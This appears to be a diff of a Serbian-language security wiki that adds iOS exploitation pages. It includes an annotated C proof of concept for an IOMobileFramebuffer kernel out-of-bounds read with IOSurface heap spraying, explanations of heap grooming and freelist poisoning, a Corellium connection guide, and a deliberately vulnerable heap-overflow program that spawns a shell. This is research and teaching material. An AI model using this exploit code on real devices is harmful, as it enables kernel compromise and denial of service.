## Arbitrary Read PoC - objašnjenje
1. **Otvaranje pravog user client-a**
- `get_appleclcd_uc()` pronalazi **AppleCLCD** service i otvara **user client type 2**. AppleCLCD i IOMobileFramebuffer dele istu external-methods table; type 2 izlaže **selector 83**, ranjivu metodu. **Ovo je vaš ulaz u bag.** E_POC/)
**Zašto je 83 bitan:** dekompajlirana putanja je:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Unutar tog poslednjeg poziva, kod **koristi vaš 32-bitni scalar kao indeks niza bez provere granica**, dohvaća pokazivač sa **`this + 0xA58 + index*8`**, i **prosleđuje ga kao `IOSurface*`** u `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **To je OOB + type confusion.**
2. **The heap spray (zašto se IOSurface pojavljuje ovde)**
- `do_spray()` koristi **`IOSurfaceRootUserClient`** da kreira mnogo IOSurface-ova i za **spray small values** (`s_set_value` stil). Ovo popunjava obližnje kernel heaps pokazivačima na validne IOSurface objekte.
- **Cilj:** kada selector 83 čita preko legitimne tabele, **OOB slot verovatno sadrži pokazivač na jedan od vaših (pravih) IOSurfaces** — pa kasnije dereferenciranje **ne puca** i **uspeva**. IOSurface je klasična, dobro dokumentovana kernel spray primitiva, i Saar-ov post eksplicitno navodi metode **create / set_value / lookup** koje se koriste u ovom exploatacionom toku.
3. **Trik "offset/8" (šta je taj indeks zapravo)**
- U `trigger_oob(offset)`, postavljate `scalars[0] = offset / 8`.
- **Zašto deliti sa 8?** Kernel radi **`base + index*8`** da izračuna koju slot veličine pokazivača da pročita. Birate **"broj slot-a N"**, a ne bajt-offset. **Osam bajtova po slotu** na 64-bit.
- Računata adresa je **`this + 0xA58 + index*8`**. PoC koristi veliku konstantu (`0x1200000 + 0x1048`) jednostavno da krene **daleko izvan granica** u region koji ste pokušali da **gusto popunite sa IOSurface pokazivačima**. **Ako the spray "wins", slot koji pogodite je validan `IOSurface*`.**
4. **Šta selector 83 vraća (ovo je suptilan deo)**
- Poziv je:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Interno, nakon OOB dohvaćanja pokazivača, driver poziva\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Rezultat:** **`output_scalars[0]` je Mach port name (u32 handle) u vašoj task** za *bilo koji objekat pokazivača koji ste dostavili preko OOB*. **To nije raw kernel address leak; to je userspace handle (send right).** Ovo tačno ponašanje (kopiranje *port name*) je prikazano u Saar-ovoj dekompilaciji.
**Zašto je ovo korisno:** sa **port name** za (navodni) IOSurface, sada možete koristiti **IOSurfaceRoot methods** kao:
- **`s_lookup_surface_from_port` (method 34)** → pretvara port u **surface ID** kojim možete dalje da upravljate kroz druge IOSurface pozive, i
- **`s_create_port_from_surface` (method 35)** ako vam treba obrnuti postupak.\
Saar navodi ove tačne metode kao sledeći korak. **PoC dokazuje da možete "manufacture" legitimni IOSurface handle iz OOB slota.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
Ovaj [PoC je preuzet odavde](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) i dodati su neki komentari da objasne korake:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Reference
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

257
src/binary-exploitation/ios-exploiting/README.md Normal file
View File

@ -0,0 +1,257 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS radi tako što zahteva da svaki deo izvršnog koda (apps, libraries, extensions, etc.) bude kriptografski potpisan sertifikatom izdatim od strane Apple-a. Kada se kod učitava, iOS verifikuje digitalni potpis u odnosu na Apple-ov trusted root. Ako je potpis nevažeći, nedostaje ili je izmenjen, OS odbija njegovo pokretanje. Ovo sprečava napadače da injektuju maliciozni kod u legitimne aplikacije ili pokreću unsigned binarije, efektivno zaustavljajući većinu exploit lanaca koji se oslanjaju na izvršavanje proizvoljnog ili izmenjenog koda.
- **CoreTrust** je iOS subsistem odgovoran za sprovođenje code signing-a u runtime-u. On direktno verifikuje potpise koristeći Apple-ov root sertifikat bez oslanjanja na keširane trust store-ove, što znači da samo binariji potpisani od strane Apple-a (ili sa validnim entitlements) mogu da se izvrše. CoreTrust osigurava da čak i ako napadač manipuliše aplikacijom nakon instalacije, modifikuje sistemske biblioteke ili pokuša da učita unsigned kod, sistem će blokirati izvršenje osim ako kod nije pravilno potpisan. Ovo strogo sprovođenje zatvara mnoge post-exploitation vektore koje su starije iOS verzije omogućavale kroz slabije ili zaobilažive provere potpisa.
- **Data Execution Prevention (DEP)** označava regiona memorije kao non-executable osim ako jasno ne sadrže kod. Ovo sprečava napadače da injektuju shellcode u data regions (like the stack or heap) i pokrenu ga, prisiljavajući ih da koriste kompleksnije tehnike kao što su ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** nasumično postavlja memorijske adrese koda, biblioteka, stack-a i heap-a pri svakom pokretanju sistema. Ovo otežava napadačima da predvide gde se nalaze korisne instrukcije ili gadgets, čime se razbijaju mnogi exploit lanci koji zavise od fiksne memorijske raspodele.
- **KASLR (Kernel ASLR)** primenjuje isti koncept randomizacije na iOS kernel. Mešanjem kernel base adrese pri svakom boot-u, on onemogućava napadačima da pouzdano lociraju kernel funkcije ili strukture, što povećava težinu kernel-level exploit-a koji bi inače stekli potpuni sistemski kontrol.
- **Kernel Patch Protection (KPP)**, takođe poznat kao **AMCC (Apple Mobile File Integrity)** u iOS-u, kontinuirano nadgleda kernel code pages kako bi osigurao da nisu modifikovane. Ako se detektuje bilo kakva manipulacija—kao što je exploit koji pokušava da patch-uje kernel funkcije ili ubaci maliciozni kod—uređaj će odmah panic-ovati i reboot-ovati. Ova zaštita čini persistent kernel exploit-e znatno težim, jer napadači ne mogu jednostavno hook-ovati ili patch-ovati kernel instrukcije bez izazivanja sistemskog pada.
- **Kernel Text Readonly Region (KTRR)** je hardverska sigurnosna funkcija uvedena na iOS uređajima. Koristi CPU-ov memory controller da označi kernel-ov code (text) segment kao trajno read-only nakon boot-a. Jednom zaključan, čak ni kernel sam ne može modifikovati tu memorijsku oblast. Ovo sprečava napadače—i čak privilegovan kod—from patch-ovanja kernel instrukcija u runtime-u, zatvarajući veliki klasu exploit-a koji su zavisili od direktne izmene kernel koda.
- **Pointer Authentication Codes (PAC)** koriste kriptografske potpise ugrađene u neiskorišćene bitove pointera kako bi verifikovali njihovu integritet pre upotrebe. Kada se pointer (npr. return address ili function pointer) kreira, CPU ga potpisuje sa tajnim ključem; pre dereferenciranja, CPU proverava potpis. Ako je pointer bio manipulisан, provera ne uspeva i izvršenje se zaustavlja. Ovo sprečava napadače da falsifikuju ili ponovo upotrebe korumpirane pointere u memory corruption exploit-ima, otežavajući tehnike poput ROP ili JOP.
- **Privilege Access never (PAN)** je hardverska funkcija koja sprečava kernel (privileged mode) da direktno pristupi user-space memoriji osim ako eksplicitno ne omogući pristup. Ovo onemogućava napadačima koji su dobili kernel code execution da lako čitaju ili pišu user memory radi eskalacije ili krađe osetljivih podataka. Strogo sprovođenje separacije smanjuje uticaj kernel exploit-a i blokira mnoge uobičajene privilege-escalation tehnike.
- **Page Protection Layer (PPL)** je iOS sigurnosni mehanizam koji štiti kritične kernel-managed memorijske regione, naročito one vezane za code signing i entitlements. On sprovodi stroga write protections koristeći MMU (Memory Management Unit) i dodatne provere, osiguravajući da čak ni privilegovan kernel kod ne može proizvoljno modifikovati osetljive stranice. Ovo sprečava napadače koji steknu kernel-level execution da manipulišu security-critical strukturama, čineći persistence i code-signing bypass-e znatno težim.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
Kernel je koristio **zone allocator** (`kalloc`) podeljen u fiksne "zone".
Svaka zona skladišti alokacije samo jedne veličinske klase.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. |
| `default.kalloc.32` | 32 bytes | Small structs, object headers. |
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. |
| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. |
Kako je radilo:
- Svaki zahtev za alokacijom se **zaokruži nagore** do najbliže zone veličine.
(Na primer, zahtev od 50 bajtova će završiti u `kalloc.64` zoni).
- Memorija u svakoj zoni se održavala u **freelist-u** — chunk-ovi koje je kernel oslobodio vraćali su se u tu zonu.
- Ako bi prelioš (overflow) buffer od 64 bajta, prebrisali biste **sledeći objekat u istoj zoni**.
Zbog toga su bile tako efikasne tehnike kao što su **heap spraying / feng shui**: moglo se predvideti susedstvo objekata tako što se raspršivale alokacije iste veličinske klase.
### The freelist
Unutar svake kalloc zone, oslobođeni objekti se nisu vraćali direktno sistemu — oni su išli u freelist, povezan list dostupnih chunk-ova.
- Kada bi chunk bio oslobođen, kernel bi upisao pointer na početak tog chunka → adresu sledećeg slobodnog chunka u istoj zoni.
- Zona je držala HEAD pointer na prvi slobodan chunk.
- Alokacija je uvek koristila trenutni HEAD:
1. Pop HEAD (vrati tu memoriju pozivaocu).
2. Update HEAD = HEAD->next (čuvano u header-u oslobođenog chunka).
- Freeing je gurala chunke nazad:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
Dakle, freelist je bio samo povezan list izgrađen unutar same oslobođene memorije.
Normalno stanje:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### Eksploatisanje freelist-a
Pošto prvih 8 bajtova slobodnog chunk-a predstavljaju freelist pokazivač, napadač ga može korumpirati:
1. **Heap overflow** u susedni oslobođeni chunk → prepiše njegov “next” pointer.
2. **Use-after-free** upis u oslobođeni objekat → prepiše njegov “next” pointer.
Zatim, pri sledećoj alokaciji te veličine:
- Alokator izbaci korumpirani chunk.
- Prati “next” pointer koji je napadač postavio.
- Vraća pokazivač na proizvoljnu memoriju, omogućavajući fake object primitives ili targeted overwrite.
Vizuelni primer freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
Ovaj dizajn freelist je pre hardening-a činio eksploataciju izuzetno efikasnom: predvidivi susedi iz heap sprays, raw pointer freelist links i odsustvo razdvajanja tipova dozvoljavali su napadačima da eskaliraju UAF/overflow greške u arbitrarno upravljanje kernel memorijom.
### Heap Grooming / Feng Shui
Cilj Heap Grooming je da **oblikuje raspored heapa** tako da kada napadač izazove overflow ili use-after-free, ciljni (victim) objekat bude tačno pored objekta kojim napadač kontroliše. Na taj način, kada dođe do korupcije memorije, napadač može pouzdano prepisati victim objekat kontrolisanim podacima.
**Koraci:**
1. Spray allocations (fill the holes)
- Vremenom se kernel heap fragmentiše: neke zone imaju “rupe” gde su stari objekti oslobođeni.
- Napadač prvo pravi mnogo dummy allocations da popuni te praznine, tako da heap postane “packed” i predvidiv.
2. Force new pages
- Kada su rupe popunjene, sledeće alokacije moraju doći iz novih stranica dodatih u zonu.
- Sveže stranice znače da će objekti biti grupisani zajedno, a ne rasuti po staroj fragmentiranoj memoriji.
- To daje napadaču znatno bolju kontrolu nad susedima.
3. Place attacker objects
- Napadač ponovo radi spray, kreirajući mnogo attacker-controlled objekata u tim novim stranicama.
- Ti objekti su predvidivi po veličini i položaju (pošto svi pripadaju istoj zoni).
4. Free a controlled object (make a gap)
- Napadač namerno oslobodi jedan od svojih objekata.
- To stvara “rupu” u heapu koju će allocator kasnije ponovo upotrebiti za sledeću alokaciju te veličine.
5. Victim object lands in the hole
- Napadač izazove kernel da alocira victim objekat (onaj koji želi da korumpira).
- Pošto je rupa prvi dostupan slot u freelist, victim će biti smešten tačno tamo gde je napadač oslobodio svoj objekat.
6. Overflow / UAF into victim
- Sada napadač ima attacker-controlled objekte oko victima.
- Overflow-ovanjem iz jednog od svojih objekata (ili ponovnim korišćenjem oslobođenog) može pouzdano prepisati polja victim-ovog objekta sa izabranim vrednostima.
**Zašto ovo radi**:
- Predvidivost Zone allocator-a: alokacije iste veličine uvek dolaze iz iste zone.
- Freelist ponašanje: nove alokacije ponovo koriste najskorije oslobođen chunk prvi.
- Heap sprays: napadač puni memoriju predvidljivim sadržajem i kontroliše raspored.
- Krajnji rezultat: napadač kontroliše gde victim objekat bude i koji podaci su pored njega.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple je ojačao allocator i učinio **heap grooming mnogo težim**:
### 1. From Classic kalloc to kalloc_type
- **Pre**: postojala je jedna `kalloc.<size>` zona za svaku veličinsku klasu (16, 32, 64, … 1280, itd.). Bilo koji objekat te veličine je bio smešten tamo → attacker objekti su mogli sedeti pored privilegovanih kernel objekata.
- **Sada**:
- Kernel objekti se alociraju iz **typed zones** (`kalloc_type`).
- Svaka vrsta objekta (npr. `ipc_port_t`, `task_t`, `OSString`, `OSData`) ima svoju posvećenu zonu, čak i ako su iste veličine.
- Mapiranje između tip objekta ↔ zone se generiše iz **kalloc_type sistema** pri kompajliranju.
Napadač više ne može garantovati da će kontrolisani podaci (`OSData`) završiti pored osetljivih kernel objekata (`task_t`) iste veličine.
### 2. Slabs and Per-CPU Caches
- Heap je podeljen na **slabs** (stranice memorije isečene na chunk-ove fiksne veličine za tu zonu).
- Svaka zona ima **per-CPU cache** da bi se smanjila contentiona.
- Putanja alokacije:
1. Pokušaj per-CPU cache.
2. Ako je prazna, uzmi iz global freelist-a.
3. Ako je freelist prazan, alociraj novi slab (jednu ili više stranica).
- **Prednost**: ova decentralizacija čini heap sprays manje determinističkim, pošto alokacije mogu biti zadovoljene iz keševa različitih CPU-a.
### 3. Randomization inside zones
- Unutar zone, oslobođeni elementi se ne vraćaju jednostavnim FIFO/LIFO redosledom.
- Moderni XNU koristi **encoded freelist pointers** (safe-linking like Linux, uvedeno oko iOS 14).
- Svaki freelist pointer je **XOR-ovan** sa per-zone tajnim cookie-jem.
- Ovo sprečava napadače da falsifikuju lažni freelist pointer ako dobiju write primitive.
- Neke alokacije su **randomizovane u svom položaju unutar slaba**, tako da spray ne garantuje susedstvo.
### 4. Guarded Allocations
- Određeni kritični kernel objekti (npr. credentials, task strukture) se alociraju u **guarded zones**.
- Ove zone ubacuju **guard pages** (nemapiranu memoriju) između slabs ili koriste **redzones** oko objekata.
- Bilo koji overflow u guard page izaziva fault → neposredan panic umesto tihi korupcije.
### 5. Page Protection Layer (PPL) and SPTM
- Čak i ako kontrolišete oslobođeni objekat, ne možete modifikovati svu kernel memoriju:
- **PPL (Page Protection Layer)** nameće da određeni regioni (npr. code signing data, entitlements) budu **read-only** čak i za sam kernel.
- Na **A15/M2+ uređajima**, ovu ulogu zamenjuju/pojačavaju **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
- Ovi hardware-enforced slojevi znače da napadači ne mogu eskalirati iz jedne heap korupcije u arbitrarno patch-ovanje kritičnih sigurnosnih struktura.
### 6. Large Allocations
- Nisu sve alokacije kroz `kalloc_type`.
- Vrlo velike zahteve (iznad ~16KB) zaobilaze typed zones i služe se direktno iz **kernel VM (kmem)** putem page alokacija.
- One su manje predvidive, ali i manje iskoristive, jer ne dele slabe sa drugim objektima.
### 7. Allocation Patterns Attackers Target
Čak i sa ovim zaštitama, napadači i dalje traže:
- **Reference count objects**: ako možete manipulisati retain/release brojačima, možete izazvati use-after-free.
- **Objects with function pointers (vtables)**: korumpiranje jednog i dalje daje kontrolu toka izvršavanja.
- **Shared memory objects (IOSurface, Mach ports)**: i dalje su cilj jer povezuju user ↔ kernel.
Ali — za razliku od pre — ne možete samo spray-ovati `OSData` i očekivati da bude pored `task_t`. Potreban vam je **type-specific bug** ili **info leak** da biste uspeli.
### Example: Allocation Flow in Modern Heap
Pretpostavimo da userspace poziva IOKit da alocira `OSData` objekat:
1. **Type lookup** → `OSData` mapira na `kalloc_type_osdata` zonu (size 64 bytes).
2. Provera per-CPU cache za slobodne elemente.
- Ako nađen → vrati jedan.
- Ako je prazan → idi na global freelist.
- Ako je freelist prazan → alociraj novi slab (stranica od 4KB → 64 chunk-a od 64 bajta).
3. Vrati chunk pozivaocu.
**Freelist pointer protection**:
- Svaki oslobođeni chunk čuva adresu sledećeg slobodnog chunka, ali enkodiranu sa tajnim ključem.
- Prepisivanje tog polja napadačkim podacima neće raditi osim ako ne znate ključ.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Preuzmite BinDiff DMG sa [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) i instalirajte ga.
Otvorte Ghidra pomoću `ghidraRun` i idite na `File` --> `Install Extensions`, pritisnite dugme za dodavanje i izaberite putanju `/Applications/BinDiff/Extra/Ghidra/BinExport` i kliknite OK i install-ujte ga čak i ako postoji neusklađenost verzija.
### Using BinDiff with Kernel versions
1. Idite na stranicu [https://ipsw.me/](https://ipsw.me/) i preuzmite iOS verzije koje želite da diff-ujete. To će biti `.ipsw` fajlovi.
2. Decompress-ujte dok ne dobijete bin format kernelcache-a obe `.ipsw` datoteke. Informacije o tome kako to uraditi imate na:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Otvorite Ghidra sa `ghidraRun`, kreirajte novi projekat i učitajte kernelcaches.
4. Otvorite svaki kernelcache da budu automatski analizirani od strane Ghidra-e.
5. Zatim, u Project Window-u Ghidra-e, desni klik na svaki kernelcache, izaberite `Export`, izaberite format `Binary BinExport (v2) for BinDiff` i eksportujte ih.
6. Otvorite BinDiff, kreirajte novi workspace i dodajte novi diff označivši kao primary file kernelcache koji sadrži ranjivost, a kao secondary file patched kernelcache.
---
## Finding the right XNU version
Ako želite da proverite ranjivosti u određenoj verziji iOS-a, možete proveriti koju XNU release verziju ta iOS verzija koristi na [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
Na primer, verzije `15.1 RC`, `15.1` i `15.1.1` koriste verziju `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

79
src/binary-exploitation/ios-exploiting/ios-corellium.md Normal file
View File

@ -0,0 +1,79 @@
# iOS Kako se povezati sa Corellium
{{#include ../../banners/hacktricks-training.md}}
## **Zahtevi**
- Corellium iOS VM (jailbroken ili ne). U ovom vodiču pretpostavljamo da imate pristup Corelliumu.
- Lokalni alati: **ssh/scp**.
- (Opcionalno) **SSH keys** dodati u vaš Corellium projekat za logovanje bez lozinke.
## **Povezivanje na iPhone VM sa localhost-a**
### A) **Quick Connect (no VPN)**
0) Dodajte vaš ssh ključ u **`/admin/projects`** (preporučeno).
1) Otvorite stranicu uređaja → **Connect**
2) **Kopirajte Quick Connect SSH komandu** koju Corellium prikazuje i nalepite je u vaš terminal.
3) Unesite lozinku ili koristite vaš ključ (preporučeno).
### B) **VPN → direktan SSH**
0) Dodajte vaš ssh ključ u **`/admin/projects`** (preporučeno).
1) Stranica uređaja → **CONNECT** → **VPN** → preuzmite `.ovpn` i povežite se sa bilo kojim VPN klijentom koji podržava TAP režim. (Proverite [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) ako imate problema.)
2) SSH na adresu VM-a **10.11.x.x**:
```bash
ssh root@10.11.1.1
```
## **Otpremite nativni binarni fajl i pokrenite ga**
### 2.1 **Otpremanje**
- Ako vam je Quick Connect dao host/port:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- Ako koristite VPN (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **Otpremanje i instalacija iOS aplikacije (.ipa)**
### Putanja A — **Web UI (najbrže)**
1) Stranica uređaja → **Apps** tab → **Install App** → izaberite svoj `.ipa`.
2) Iz iste kartice možete **pokrenuti/ubiti/deinstalirati**.
### Putanja B — **Skriptovano preko Corellium Agent**
1) Koristite API Agent da **otpremite**, pa zatim **instalirate**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Path C — **Bez jailbreak-a (ispravno potpisivanje / Sideloadly)**
- Ako nemate provisioning profil, koristite **Sideloadly** da ponovo potpišete sa svojim Apple ID-jem, ili se prijavite u Xcode.
- Takođe možete izložiti VM Xcode-u koristeći **USBFlux** (pogledajte §5).
- Za brze logove/komande bez SSH, koristite Console uređaja u UI.
## **Dodatno**
- **Port-forwarding** (učinite da VM deluje lokalno za druge alate):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: koristite adresu **LLDB/GDB stub** prikazanu na dnu stranice uređaja (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: prikažite VM **Xcode/Sideloadly** kao da je uređaj priključen kablom.
## **Česte zamke**
- **Proper signing** je obavezno na **non-jailbroken** uređajima; unsigned IPAs won't launch.
- **Quick Connect vs VPN**: Quick Connect je najjednostavniji; koristite **VPN** kada trebate da je uređaj na vašoj lokalnoj mreži (npr. lokalni proxy-ji/alati).
- **No App Store** na Corellium uređajima; ponesite sopstvene (re)signed IPAs.
{{#include ../../banners/hacktricks-training.md}}

205
src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md Normal file
View File

@ -0,0 +1,205 @@
# iOS Kako se povezati sa Corellium
{{#include ../../banners/hacktricks-training.md}}
## Vuln Code
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
Kompajlirajte ga pomoću:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> Ovaj exploit postavlja env varijablu `MallocNanoZone=0` da onemogući NanoZone. Ovo je potrebno da bi se dobile susedne alokacije kada se poziva `malloc` sa malim veličinama. Bez ovoga različiti mallocs biće alocirani u različitim zonama i neće biti susedni, pa zbog toga overflow neće raditi kako se očekuje.
```python
#!/usr/bin/env python3
